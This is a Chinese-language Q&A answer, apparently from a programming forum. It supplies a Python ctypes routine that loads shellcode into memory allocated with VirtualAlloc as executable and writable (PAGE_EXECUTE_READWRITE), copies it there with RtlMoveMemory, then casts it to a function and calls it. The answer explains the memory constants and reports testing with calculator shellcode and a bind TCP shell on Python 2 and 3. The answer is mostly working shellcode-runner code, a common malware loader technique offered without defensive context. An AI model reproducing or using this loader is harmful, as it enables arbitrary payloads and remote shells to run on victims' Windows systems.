1 回答

TA貢獻1843條經驗 獲得超7個贊
這是有效的代碼。使用上面的 shellcode,或者你自己的變量buf:
def run():
buffer = ctypes.create_string_buffer(buf)
length = len(buffer)
ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
if __name__ == '__main__':
run()
首先,分配足夠的內存來保存 shellcode。VirtualAllocdefine中的兩個常量
0x1000|0x2000= MEM_COMMIT | MEM_RESERVE(參見 MS 文檔)
0x40PAGE_EXECUTE_READWRITE
接下來,將 shellcode 移動到分配的內存中。最后,將 shellcode 轉換為一個函數并調用該函數。使用問題中給出的 shellcode(彈出式計算器)和綁定 tcp shell(未顯示)進行測試。
仍然不知道為什么 python3 的行為不同,但看起來它正在嘗試寫入不可執行的內存。此方法適用于 Python2 或 Python3。
添加回答
舉報